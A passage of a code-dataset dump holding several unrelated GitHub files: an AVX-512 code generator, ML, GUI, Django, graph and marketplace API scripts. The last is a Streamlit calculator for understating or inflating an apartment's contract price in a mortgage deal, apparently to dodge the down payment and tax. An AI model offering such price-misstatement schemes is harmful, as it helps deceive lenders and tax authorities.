_mm256_loadu_si256(offsets+%(NUMBER_OF_GATHER)s*%(ELEM_IN_VEC)s);\n    gathered_vector = _mm512_i32gather_%(512_TO_C)s( index, src, 8);\n    _mm512_store_%(512_TO_C)s(dst,gathered_vector);\n    dst += %(ELEM_IN_VEC)s;}\n\"\"\"\n\ndef print_init_vars(MPI_TYPE,elem_in_vector,number_of_gather):\n    params = {\n        '512_TYPE'       : str(AVX512_type[MPI_TYPE]),\n        '512_INDEX'      :str(AVX512_index_type[MPI_TYPE]),\n        }\n    print (init_vars% params)\n\ndef print_gather(MPI_TYPE,elem_in_vector,number_of_gather):\n    params = {\n        '512_TYPE'       : str(AVX512_type[MPI_TYPE]),\n        '512_TO_C'       : str(AVX512_to_C[MPI_TYPE]),\n        '512_UPCONV'     : str(AVX512_UPCONV[MPI_TYPE]),\n        'ELEM_IN_VEC'    : int(elem_in_vector),\n        'NUMBER_OF_GATHER' : int(number_of_gather),\n        '512_INDEX'      :str(AVX512_index_type[MPI_TYPE]),\n        }\n    if MPI_TYPE == 'MPI_DOUBLE':\n        print (double_gather_ins% params)\n    else:\n        print (gather_ins% params)\n\ngather_pack = \"\"\"\nvoid gather_pack(uint32_t cnt, uint32_t *offsets, void *_src, void *_dst){\n    int i = 0;\n    %(GET_TYPE)s* src = (%(GET_TYPE)s*)_src;\n    %(GET_TYPE)s* dst = (%(GET_TYPE)s*)_dst;\n\"\"\"\ndef print_gather_pack(MPI_TYPE):\n    params = {\n            'GET_TYPE'       : str(Get_size_type.get_type(MPI_TYPE)),\n            }\n    print (gather_pack % params)\n\n\ndef gen_gather_code(offsets, MPI_TYPE, elem_in_vector):\n\n    print_gather_pack(MPI_TYPE)\n    print_init_vars(MPI_TYPE,elem_in_vector, 0)\n    #for number_of_gather in range (0, len(offsets)/elem_in_vector):\n    #    print_gather(MPI_TYPE,elem_in_vector,number_of_gather)\n    print_gather(MPI_TYPE,elem_in_vector,len(offsets)/elem_in_vector)\n    print (\"}\")\n","repo_name":"dong0321/AVX_code_gen","sub_path":"AVX512_gather.py","file_name":"AVX512_gather.py","file_ext":"py","file_size_in_byte":3779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"33907864607","text":"#!/usr/bin/env python\n\nimport os\nfrom distutils.core import setup\n\nimport repython\n\n\ndef read(filename):\n    return open(os.path.join(os.path.dirname(__file__), filename)).read()\n\nsetup(name='repython',\n    version=repython.__version__,\n    description='Tool to restart commands based on filesystem changes',\n    author='Reinis Ivanovs',\n    author_email='dabas@untu.ms',\n    url='https://github.com/slikts/repython',\n    packages=['repython'],\n    keywords='cli restart inotify monitor',\n    license='BSD',\n    long_description=read('README.md'),\n    # http://pypi.python.org/pypi?%3Aaction=list_classifiers\n    classifiers=[\n        'Development Status :: 3 - Alpha',\n        'Environment :: Console',\n        'Intended Audience :: Developers',\n        'License :: OSI Approved :: BSD License',\n        'Operating System :: POSIX',\n        'Programming Language :: Python',\n        'Topic :: Software Development',\n        'Topic :: Utilities',\n    ],\n    install_requires=['pyinotify', 'twiggy'],\n)\n","repo_name":"slikts/repython","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"}
{"seq_id":"16975686511","text":"from __future__ import print_function\nimport os\nimport tensorflow as tf\nimport numpy as np\nimport ccnn as NETwork\nimport datetime\nfrom sklearn.metrics import average_precision_score\nimport data_manager\nimport test as evaluation\n\n\"\"\"\nYou must set batch_size=1 firstly\n\"\"\"\n\n# Model Hyperparameters\ntf.flags.DEFINE_string('filter_sizes', '3,4,5', 'Comma-separated filter sizes default: (3,4,5)')\ntf.flags.DEFINE_integer('pattern_num', 5, 'No. of patterns for each relation (default: 10)')\ntf.flags.DEFINE_float('l2_reg_omega', 0.001, 'l2_regularizer weight (default: 0.0005)')\n\n# Eval Parameters\ntf.flags.DEFINE_string('checkpoint_dir', '../../runs/bag/', 'Checkpoint directory from training run')\ntf.flags.DEFINE_string('model', 'model-5', \"Model dir for evaluation, default: (model)\")\ntf.flags.DEFINE_boolean(\"use_types\", True, \"Use entity types (default: True\")\n\n# Misc Parameters\ntf.flags.DEFINE_boolean(\"allow_soft_placement\", True, \"Allow device soft device placement\")\ntf.flags.DEFINE_boolean(\"log_device_placement\", False, \"Log placement of ops on devices\")\n\nFLAGS = tf.flags.FLAGS\nFLAGS._parse_flags()\nprint(\"\\nParameters:\")\nfor attr, value in sorted(FLAGS.__flags.items()):\n    print(\"{}={}\".format(attr.upper(), value))\nprint(\"\")\n\n\ndef main(_):\n    \"\"\"\n    main function\n    \"\"\"\n    dataset = data_manager.DataManager()\n    model_dir = '../../runs/bag/{}'.format(FLAGS.model)\n\n    time_str = datetime.datetime.now().isoformat()\n    print('{}: start test'.format(time_str))\n\n    print('reading wordembedding')\n    wordembedding = np.load('../../data/bag_data/vec.npy')\n\n    settings = NETwork.Settings()\n    settings.vocab_size = len(wordembedding)\n    settings.filter_sizes = list(map(int, FLAGS.filter_sizes.split(',')))\n    settings.pattern_num = FLAGS.pattern_num\n    settings.l2_reg_omega = FLAGS.l2_reg_omega\n\n    #checkpoint_file = tf.train.latest_checkpoint(FLAGS.checkpoint_dir + FLAGS.model + '/checkpoints/')\n    checkpoint_file = FLAGS.checkpoint_dir + FLAGS.model + '/model-best'\n    graph = tf.Graph()\n    with graph.as_default():\n        gpu_options = tf.GPUOptions(allow_growth=True)\n        session_conf = tf.ConfigProto(\n            allow_soft_placement=FLAGS.allow_soft_placement,\n            log_device_placement=FLAGS.log_device_placement,\n            gpu_options=gpu_options)\n        sess = tf.Session(config=session_conf)\n        with sess.as_default():\n            # Load the saved meta graph and restore variables\n            time_str = datetime.datetime.now().isoformat()\n            print('{}: construct network...'.format(time_str))\n            # saver = tf.train.import_meta_graph('{}.meta'.format(checkpoint_file))\n            # saver.restore(sess, checkpoint_file)\n            network = NETwork.CNN(word_embeddings=dataset.wordembedding, settings=settings, is_training=False, is_evaluating=True, use_types=FLAGS.use_types)\n            saver = tf.train.Saver()\n            time_str = datetime.datetime.now().isoformat()\n            print('{}: restore checkpoint file: {}'.format(time_str, checkpoint_file))\n            saver.restore(sess, checkpoint_file)\n\n            # test one entity relation mentions\n            time_str = datetime.datetime.now().isoformat()\n            print('{}: testing...'.format(time_str))\n\n\n            def eval_step(test_word, test_pos1, test_pos2, test_type, test_y):\n                num_batches_per_epoch = int((len(test_y)-1)/settings.batch_size) + 1\n                for batch_num in range(num_batches_per_epoch):\n                    start_index = batch_num * settings.batch_size\n                    end_index = min((batch_num+1)*settings.batch_size, len(test_y))\n                    if (end_index - start_index) != settings.batch_size:\n                        start_index = end_index - settings.batch_size\n\n                    word_batch = test_word[start_index: end_index]\n                    pos1_batch = test_pos1[start_index: end_index]\n                    pos2_batch = test_pos2[start_index: end_index]\n                    type_batch = test_type[start_index: end_index]\n                    y_batch = test_y[start_index: end_index]\n\n                    attentions = eval_op(word_batch, pos1_batch, pos2_batch, type_batch, y_batch)\n                    print(attentions)\n\n\n            def eval_op(word_batch, pos1_batch, pos2_batch, type_batch, y_batch):\n                \"\"\"\n                evaluate a batch\n                \"\"\"\n                total_word = []\n                total_pos1 = []\n                total_pos2 = []\n                total_type = []\n                total_shape_batch = []\n                total_num = 0\n\n\n                for i in range(len(word_batch)):\n                    total_shape_batch.append(total_num)\n                    total_num += len(word_batch[i])\n\n                    for j in range(len(word_batch[i])):\n                        total_word.append(word_batch[i][j])\n                        total_pos1.append(pos1_batch[i][j])\n                        total_pos2.append(pos2_batch[i][j])\n                        total_type.append(type_batch[i][j])\n\n                # Here total_word and y_batch are not equal, total_word[total_shape[i]:total_shape[i+1]] is related to y_batch[i]\n                total_shape_batch.append(total_num)\n\n                total_shape_batch = np.array(total_shape_batch)\n                total_word = np.array(total_word)\n                total_pos1 = np.array(total_pos1)\n                total_pos2 = np.array(total_pos2)\n                total_type = np.array(total_type)\n\n                feed_dict = {\n                    network.input_word: total_word,\n                    network.input_pos1: total_pos1,\n                    network.input_pos2: total_pos2,\n                    network.input_type: total_type,\n                    #self.network.input_y: y_batch,\n                    network.total_shape: total_shape_batch,\n                    network.dropout_keep_prob: 1.0\n                }\n\n                attentions = sess.run([network.attention], feed_dict)\n\n                return attentions\n\n            eval_step(dataset.test_word, dataset.test_pos1, dataset.test_pos2, dataset.test_type, dataset.test_y)\n\n\nif __name__ == '__main__':\n    tf.app.run()\n","repo_name":"Rossavate/nre_clustering","sub_path":"src/bag-level/case_study.py","file_name":"case_study.py","file_ext":"py","file_size_in_byte":6188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"39249978568","text":"import pygetwindow as pg\nimport time as t\n\nfrom ReconhecerObjetos import ReconhecerCelular\nfrom CaptacaoImagensNegativas import ImportarImagens\n\ndef ProcuraAbasNaoPermitidas(abas, termo):\n    for elements in abas:\n        if(termo) in elements:\n            if(elements != None):\n                elemento_encontrado = elements\n                return elemento_encontrado\n                break\n            else:\n                return False\n                break\n\ndef FechaAbasNaoPermitidas(Google, Firefox, Edge, VisualStudio):\n    if(Google != None):\n        Google = Google.upper()\n        abaCorreta = pg.getWindowsWithTitle(Google)[0]\n        if (abaCorreta.title != ''):\n            abaCorreta.close()\n    if(Firefox != None):\n        Firefox = Firefox.upper()\n        abaCorreta = pg.getWindowsWithTitle(Firefox)[0]\n        if (abaCorreta.title != ''):\n            abaCorreta.close()\n    if(Edge != None):\n        Edge = Edge.upper()\n        abaCorreta = pg.getWindowsWithTitle(Edge)[0]\n        if (abaCorreta.title != ''):\n            abaCorreta.close()\n\n    if(VisualStudio != None):\n        VisualStudio = VisualStudio.upper()\n        abaCorreta = pg.getWindowsWithTitle(VisualStudio)[0]\n        if (abaCorreta.title != ''):\n            abaCorreta.close()\n\n\ndef countdown(num_of_secs):\n    while num_of_secs:\n        AbasAbertas = pg.getAllTitles()\n        Google = ProcuraAbasNaoPermitidas(AbasAbertas, 'Google')\n        Firefox = ProcuraAbasNaoPermitidas(AbasAbertas, 'Firefox')\n        Edge = ProcuraAbasNaoPermitidas(AbasAbertas, 'Edge')\n        VisualStudio = ProcuraAbasNaoPermitidas(AbasAbertas, 'Visual Studio')\n\n        FechaAbasNaoPermitidas(Google, Firefox, Edge, VisualStudio)\n\n        m, s = divmod(num_of_secs, 60)\n        min_sec_format = '{:02d}:{:02d}'.format(m, s)\n        print(min_sec_format)\n        t.sleep(1)\n        num_of_secs -= 1\n\n    print('O Tempo Acabou')\n    return False\n\nif __name__ == '__main__':\n    countdown(3920)\n    #ImportarImagens()\n\n\n\n\n","repo_name":"Dragondrax/EvitaCola","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1985,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"74062089643","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Oct 11 20:04:47 2022\r\n\r\n@author: turtl_4\r\n\"\"\"\r\n\r\nfrom tkinter import *\r\n\r\nroot = Tk()\r\nroot.title(\"ASCII Converter With Encrpt\")\r\n\r\nroot.geometry(\"400x400\")\r\nroot.configure(background = \"light blue\")\r\n\r\ninput_word = Entry(root)\r\ninput_word.place(relx=0.5, rely=0.4, anchor=CENTER)\r\n\r\nlabel_output = Label(root, text = \"ASCII value : \", bg = 'light green', fg = 'black')\r\nlabel_encrpt = Label(root)\r\n\r\ndef convert_code():\r\n    input_text = input_word.get()\r\n    label_output[\"text\"]  = \"\"\r\n    \r\n    for letter in input_text :\r\n        label_output[\"text\"] += str(ord(letter)) + \" \"\r\n        ASCII = int(ord(letter))\r\n        encrpt = ASCII - 1\r\n        label_encrpt[\"text\"] += str(chr(encrpt))\r\n        \r\n        \r\n\r\nbtn = Button(root,text = \"Display the ASCII Code and Encrypted value\", command = convert_code,bg = 'gold', fg = 'black')\r\nbtn.place(relx=0.5, rely=0.5, anchor=CENTER)\r\n\r\nlabel_output.place(relx=0.5, rely=0.6, anchor=CENTER)\r\nlabel_encrpt.place(relx=0.5, rely=0.7, anchor=CENTER)\r\n\r\nroot.mainloop()","repo_name":"turtleprince/ACSII-ecrypt","sub_path":"ASCII encrypt.py","file_name":"ASCII encrypt.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"25296671515","text":"'''\n\n设置单元格的字体和颜色\n'''\n\nimport sys,math\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtCore import Qt, QStringListModel\nfrom qtpy import QtCore\n\n\nclass CellFontAndColor(QWidget):\n    def __init__(self):\n        super(CellFontAndColor, self).__init__()\n        self.initUI()\n\n    def initUI(self):\n        self.resize(430, 230)\n        self.setWindowTitle(\"PlaceControlInCell例子\")\n\n        layout=QHBoxLayout()\n        tableWidget = QTableWidget()\n        tableWidget.setRowCount(4)\n        tableWidget.setColumnCount(3)\n\n        layout.addWidget(tableWidget)\n        tableWidget.setHorizontalHeaderLabels(['姓名', '性别', '体重（kg）'])\n        newItem = QTableWidgetItem('小明')\n        newItem.setFont(QFont('Times',14,QFont.Black))\n        newItem.setForeground(QBrush(QColor(255,0,0)))\n        tableWidget.setItem(0, 0, newItem)\n\n        newItem = QTableWidgetItem('小明2')\n        #newItem.setFont(QFont('Times', 14, QFont.Black))\n        newItem.setForeground(QBrush(QColor(255, 255, 0)))\n        newItem.setBackground(QBrush(QColor(0, 0, 255)))\n        tableWidget.setItem(0, 1, newItem)\n\n        newItem = QTableWidgetItem('160')\n        newItem.setFont(QFont('Times', 20, QFont.Black))\n        newItem.setForeground(QBrush(QColor(0, 0, 255)))\n        tableWidget.setItem(0, 2, newItem)\n\n\n\n\n\n\n        self.setLayout(layout)\n\n\nif __name__ == '__main__':\n    app = QApplication(sys.argv)\n    main = CellFontAndColor()\n    main.show()\n\n    sys.exit(app.exec_())","repo_name":"zstar2013/pyqt5","sub_path":"src/table_tree/CellFontAndColor.py","file_name":"CellFontAndColor.py","file_ext":"py","file_size_in_byte":1523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"30513794773","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n\tpath('', views.store, name=\"store\"),\n\tpath('cart/', views.cart, name=\"cart\"),\n\tpath('checkout/', views.checkout, name=\"checkout\"),\n\tpath('update_item/', views.updateItem, name=\"update_item\"),\n\tpath('process_order/', views.processOrder, name=\"process_order\"),\n\t\n\t\n\tpath('accounts/signup', views.signup, name=\"signup\"),\n\n\t# chat\n\t# path('home/', views.home, name='home'),\n    # path('<str:room>/', views.room, name='room'),\n    # path('checkview', views.checkview, name='checkview'),\n    # path('send', views.send, name='send'),\n    # path('getMessages/<str:room>/', views.getMessages, name='getMessages'),\n]\n","repo_name":"abdulhasanallahverdiyev/ecommerce","sub_path":"store/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"43985484170","text":"import math\n\nfrom user.models import *\nfrom shomobay_shomiti_detector.models import *\nfrom django.conf import settings\n\n\ndef HMModel(participant):\n    # print()\n    # print(\"in reweight------------------------------------------->>\")\n\n    # should contain 1 object for each adjacent participant\n    subs = Submission.objects.filter(status=1, level=participant.curr_level - 1, participant__batch=participant.batch)\n\n    # print()\n    # print()\n    update_list_weights = []\n    update_list_max_weights = []\n    if not subs:\n        participant.max_weight = 0\n    for sub in subs:\n        if sub.participant.user == participant.user:\n            continue\n        diff = (participant.last_successful_submission_time - sub.time).total_seconds()\n        try:\n            prev_weight1 = DetectorGraph.objects.get(participant1=participant, participant2=sub.participant)\n            prev_weight2 = DetectorGraph.objects.get(participant1=sub.participant, participant2=participant)\n        except DetectorGraph.DoesNotExist:\n            # starting value of weight\n            prev_weight1 = DetectorGraph.objects.create(participant1=participant, participant2=sub.participant,\n                                                        weight=settings.START_PROB)\n            prev_weight2 = DetectorGraph.objects.create(participant1=sub.participant, participant2=participant,\n                                                        weight=settings.START_PROB)\n\n        # print(\"prev_weight \", prev_weight1.weight, prev_weight2.weight)\n\n        # HMM\n        new_weight = updateProbabilityForOneTimeStep(prev_weight1.weight)\n        new_weight = reweighProbabilityBasedOnEvidence(new_weight, diff)\n\n        prev_weight1.weight = new_weight\n        prev_weight2.weight = new_weight\n\n        update_list_weights.append(prev_weight1)\n        update_list_weights.append(prev_weight2)\n\n        # update max_weights\n        if participant.max_weight < new_weight:\n            participant.max_weight = new_weight\n\n        if sub.participant.max_weight <= new_weight:\n            sub.participant.max_weight = new_weight\n            update_list_max_weights.append(sub.participant)\n\n        # print(participant, sub.participant, diff, new_weight)\n\n    update_list_max_weights.append(participant)\n    DetectorGraph.objects.bulk_update(update_list_weights, ['weight'])\n    Participant.objects.bulk_update(update_list_max_weights, ['max_weight'])\n    # print(\"out reweight------------------------------------------->>\")\n    # print()\n\n\ndef EMISSION1(time_diff):\n    \"\"\"\n        time_diff in seconds\n    \"\"\"\n    time_diff = time_diff / settings.SPREAD\n    mean = settings.MEAN\n    dev = settings.DEVIATION\n\n    e_pow = -pow(math.log(time_diff, math.e) - mean, 2) / (2 * pow(dev, 2))\n    p = pow(math.e, e_pow) * settings.SCALE\n\n    return p\n\n\ndef EMISSION0(time_diff):\n    return settings.EMISSION00 if EMISSION1(time_diff) > 0.5 else settings.EMISSION01\n\n\ndef updateProbabilityForOneTimeStep(B):\n    \"\"\"\n    TRANSITION00 = 0.8     # -cheat(t+1)|-cheat(t)\n    TRANSITION01 = 0.1     # -cheat(t+1)|+cheat(t)\n    TRANSITION10 = 0.2     # +cheat(t+1)|-cheat(t)\n    TRANSITION11 = 0.9     # +cheat(t+1)|+cheat(t)\n    \"\"\"\n    return B * settings.TRANSITION11 + (1 - B) * settings.TRANSITION10\n\n\ndef reweighProbabilityBasedOnEvidence(B, evd):\n    new_B = B * EMISSION1(evd)\n    new_B_ = (1 - B) * EMISSION0(evd)\n\n    return new_B / (new_B + new_B_)\n","repo_name":"ArifShariar/BUET_CSE_FEST_2022_Picture_Puzzle","sub_path":"shomobay_shomiti_detector/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3412,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"21462867447","text":"n1=int(input(\"Enter first integer: \"))\nn2=int(input(\"Enter second integer: \"))\nUCLN=1\nk=2\nif n1 < 0 or n2<0:\n    print('Xin hay nhap so nguyen duong')\n    n1 = int(input(\"Enter first integer: \"))\n    n2 = int(input(\"Enter second integer: \"))\n\n    if n1==0 and n2==0:\n        print('Loi Chia 0')\n    elif n1==0 and n2 != 0:\n        print('So chia lon nhat cua %d va %d la: %d '%(n1,n2,n2))\n    elif n2 == 0 and n1 != 0:\n        print('So chia lon nhat cua %d va %d la: %d '% (n1, n2, n1))\n\n    elif n1 != n2 and n1>0 and n2>0:\n\n        while k<=n1 and k<=n2:\n            if n1%k==0 and n2%k==0:\n                UCLN=k\n            k+=1\n        print(\"So Chia lon nhat cua hai so tren la: \", UCLN)\n\n\n\n\n\n\n\n","repo_name":"PhuongBui27/python_ex","sub_path":"BT_WhileLoop.py","file_name":"BT_WhileLoop.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"41894993709","text":"from dbclasses import DBConnection\nfrom ozonattributes import Attribute\nfrom ozonproduct import OzonNDSValue, OzonProduct\nimport requests\nimport json\nfrom typing import List\nimport logging\n\nREQUEST_LIMIT = 1000\nPRODUCT_LIST_URI = 'https://api-seller.ozon.ru/v2/product/list'\nUPLOAD_PRODUCT_URI = 'https://api-seller.ozon.ru/v2/product/import'\nDELETE_PRODUCTS_URI = 'https://api-seller.ozon.ru/v2/products/delete'\nARCHIVE_PRODUCTS_URI = 'https://api-seller.ozon.ru/v1/product/archive'\nUPDATE_CHARACTERISTICS_URI = 'https://api-seller.ozon.ru/v1/product/attributes/update'\nGET_ATTRIBUTES_URI = 'https://api-seller.ozon.ru/v3/products/info/attributes'\nUPDATE_OFFER_IDS_URI = 'https://api-seller.ozon.ru/v1/product/update/offer-id'\n\n\nclass OzonApi():\n    def __init__(self, client_id, api_key) -> None:\n        self.client_id = client_id\n        self.api_key = api_key\n        self.headers = {\n            'Client-Id': client_id,\n            'Api-Key': api_key\n        }\n        self.verifier = DBConnection().init_verifier()\n\n    def get_all_products(self, _filter={}):\n        json_data = {\n            'limit': REQUEST_LIMIT,\n            'filter': _filter,\n        }\n        items = []\n        last_id = None\n        while True:\n            r = requests.post(PRODUCT_LIST_URI,\n                              headers=self.headers,\n                              json=json_data if last_id is None else {**json_data, 'last_id': last_id})\n            if r.status_code != 200:\n                logging.error(r.status_code, r.text)\n                return None\n\n            parsed = json.loads(r.text)\n            items += parsed['result']['items']\n            if len(items) >= parsed['result']['total']:\n                break\n        return items\n\n    def get_archived_products(self):\n        return self.get_all_products({\n            'visibility': 'ARCHIVED'\n        })\n\n    def get_products_attribs(self, offer_ids):\n        json_data = {\n            'limit': REQUEST_LIMIT,\n            'filter': {\n                'offer_id': offer_ids\n            }\n        }\n        req = requests.post(GET_ATTRIBUTES_URI,\n                            headers=self.headers,\n                            json=json_data)\n\n        if req.status_code != 200:\n            logging.error(req.status_code, req.text)\n            return\n\n        return json.loads(req.text)['result']\n\n    def update_attributes(self, offer_ids, attributes):\n        attributes_json = [self._form_attrib_request(attrib)\n                           for attrib in attributes]\n        json_data = {\n            'items': [{\n                'offer_id': offer_id,\n                'attributes': attributes_json\n            } for offer_id in offer_ids]\n        }\n        req = requests.post(UPDATE_CHARACTERISTICS_URI,\n                            headers=self.headers,\n                            json=json_data)\n        if req.status_code != 200:\n            logging.error(req.status_code, req.text)\n\n    def update_offer_ids(self, update_offer_ids):\n        req = requests.post(UPDATE_OFFER_IDS_URI,\n                            headers=self.headers,\n                            json={\n                                'update_offer_id': update_offer_ids\n                            })\n        if req.status_code != 200:\n            logging.error(req.status_code, req.text)\n\n    def upload_products(self, products: List[OzonProduct]):\n        json_data = {\n            'items': []\n        }\n        for product in products:\n            json_data['items'].append(self._form_creation_request(product))\n        r = requests.post(UPLOAD_PRODUCT_URI,\n                          headers=self.headers,\n                          json=json_data)\n        if r.status_code != 200:\n            logging.error(r.status_code, r.text)\n        return r.status_code\n\n    def _form_creation_request(self, product: OzonProduct):\n        return {\n            'offer_id': product.info.offer_id,\n            'category_id': product.info.category_id,\n            'currency_code': 'RUB',\n            'images': product.media.images,\n            'name': product.info.name,\n            'dimension_unit': product.dimensions.dimension_unit.value,\n            'depth': product.dimensions.depth,\n            'height': product.dimensions.height,\n            'width': product.dimensions.width,\n            'price': str(product.price.price),\n            'old_price': str(product.price.old_price),\n            'vat': OzonNDSValue.ZERO.value,\n            'weight': product.weight.weight,\n            'weight_unit': product.weight.weight_unit.value,\n            'attributes': [self._form_attrib_request(attrib) for attrib in product.attributes]\n        }\n\n    def _form_attrib_request(self, attrib: Attribute):\n        d = {\n            'complex_id': 0,\n            'id': attrib._id,\n            'values': []\n        }\n        if type(attrib.value) != list:\n            d['values'] = [self._form_attrib_value_request(\n                attrib.value, attrib._id)]\n        else:\n            d['values'] = [self._form_attrib_value_request(\n                val, attrib._id) for val in attrib.value]\n        return d\n\n    def _form_attrib_value_request(self, attrib_value, attrib_id):\n        return {\n            'dictionary_value_id': self.verifier._get_value_id(attrib_id, attrib_value),\n            'value': str(attrib_value)\n        }\n\n    def archive(self, what_to_archive):\n        products = [p for p in self.get_all_products() if what_to_archive(p)]\n        product_chunks = [products[x:x+100]\n                          for x in range(0, len(products), 100)]\n        for chunk in product_chunks:\n            json_data = {\n                'product_id': [p['product_id'] for p in chunk]\n            }\n            req = requests.post(ARCHIVE_PRODUCTS_URI,\n                                headers=self.headers,\n                                json=json_data)\n            if req.status_code != 200:\n                logging.error(req.status_code, req.text)\n\n    def delete(self, what_to_delete):\n        products = [p for p in self.get_all_products() if what_to_delete(p)]\n        product_chunks = [products[x:x+100]\n                          for x in range(0, len(products), 100)]\n        for chunk in product_chunks:\n            json_data = {\n                'product_id': [p['product_id'] for p in chunk]\n            }\n            req = requests.post(DELETE_PRODUCTS_URI,\n                                headers=self.headers,\n                                json=json_data)\n            if req.status_code != 200:\n                logging.error(req.status_code, req.text)\n","repo_name":"Ne0Ment/OZWBSync","sub_path":"src/python/ozonapi.py","file_name":"ozonapi.py","file_ext":"py","file_size_in_byte":6569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"33909597070","text":"class Graph:\r\n    def __init__(self):\r\n        self.vertex = {}\r\n\r\n    def addEdge(self, fromVertex, toVertex):\r\n        if fromVertex in self.vertex.keys():\r\n            self.vertex[fromVertex].append(toVertex)\r\n        else:\r\n            self.vertex[fromVertex] = [toVertex]\r\n\r\n    def printGraph(self):\r\n        for i in self.vertex:\r\n            print(i, '->', ' -> '.join([str(j) for j in self.vertex[i]]))\r\n\r\n\r\n    def DFS(self, startVetex, graph):\r\n        visited = set()\r\n        path = []\r\n        stack = [startVetex]\r\n\r\n        while stack:\r\n            p = stack.pop()\r\n            if p not in visited:\r\n                visited.add(p)\r\n                path.append(p)\r\n                stack.extend(reversed(graph[p]))\r\n                print(p, stack, visited)\r\n        return path\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n    al = Graph()\r\n    al.addEdge(0, 1)\r\n    al.addEdge(0, 4)\r\n    al.addEdge(4, 1)\r\n    al.addEdge(4, 3)\r\n    al.addEdge(1, 0)\r\n    al.addEdge(1, 4)\r\n    al.addEdge(1, 3)\r\n    al.addEdge(1, 2)\r\n    al.addEdge(2, 3)\r\n    al.addEdge(3, 4)\r\n    al.printGraph()\r\n    # graph1 = {1: [2, 3], 2: [1, 4], 3: [1, 6, 7], 4: [2, 5], 5: [4, 6], 6: [3, 5], 7: [3]}","repo_name":"janak11111/Data-Structure-With-Python","sub_path":"Graphs/DFS.py","file_name":"DFS.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"24942866740","text":"import streamlit as st\nfrom formula import *\nimport math\nfrom st_keyup import st_keyup\n\n\ndef convert_to_num(*args):\n    try:\n        return [int(i) for i in args]\n    except ValueError:\n        return [0 for i in args]\n\n\ndef format_output(value: int):\n    try:\n        return \"{:,}\".format(int(value))\n    except ValueError:\n        return ''\n\n\nhide_menu_style = \"\"\"\n        <style>\n        #MainMenu {visibility: hidden;}\n        </style>\n        \"\"\"\nst.markdown(hide_menu_style, unsafe_allow_html=True)\nst.title('Расчет цены ипотеки')\nres = 0\ntax = 13  # подоходный налог\nform = st.selectbox('Есть первоначальный взнос?', options=['Не выбрано', 'Да', 'Нет'], )\n\nif form == 'Нет':\n    buy = st_keyup(label=f'Первоначальная цена квартиры в руб: ')\n    st.write(format_output(buy))\n\n    sell = st_keyup('Цена при продаже на руки продавцу в руб (полностью)')\n    st.write(format_output(sell))\n\n    fee = st.number_input('Первоначальный взнос (%)', min_value=0, value=20)\n\n    res = formula_without_entry_fee(*convert_to_num(sell, buy, tax, fee))\n\n    st.subheader('Стоимость квартиры в ипотеку с занижением:')\n    if res == 0:\n        st.text('Сначала введите все данные')\n    else:\n        st.title('{:,}'.format(round(res, 2)).replace(',', ' ') + ' руб')\n\nif form == 'Да':\n    in_arms = st_keyup('Стоимость на руки продавцу в руб (полностью)')\n    st.write(format_output(in_arms))\n\n    dkp_seller = st_keyup('Стоимость в ДКП в руб (полностью)')\n    st.write(format_output(dkp_seller))\n\n    initial = st_keyup('Первоначальная цена квартиры в руб (полностью)')\n    st.write(format_output(initial))\n\n    bank = st.number_input('Банковский процент (%)', min_value=15)\n\n    in_arms, dkp_seller, initial = convert_to_num(in_arms, dkp_seller, initial)\n    res = round(math.ceil(formula_with_entry_fee(in_arms, dkp_seller, initial)))\n    if res == 0:\n        st.text('Сначала введите все данные')\n    else:\n        st.subheader('Стоимость квартиры в ипотеку с завышением:')\n        st.subheader('{:,}'.format(res).replace(',', ' ') + ' руб')\n\n        st.subheader('Первоначальный взнос: ')\n        st.subheader('{:,}'.format(math.ceil(res * bank / 100)).replace(',', ' ') + ' руб')\n\n        st.subheader('Сумма налога: ')\n        st.subheader('{:,}'.format(math.ceil((res - initial) * 0.13)).replace(',', ' ') + ' руб ')\n        st.text('Из них компенсирует продавец: ' + '{:,}'.format(math.ceil((dkp_seller - initial) * 0.13)))\n\n        st.subheader('Покупатель компенсирует: ')\n        st.subheader('{:,}'.format(math.ceil((res - initial) * 0.13 - (dkp_seller - initial) * 0.13)))\n","repo_name":"dan0nchik/EstateFormula","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3064,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
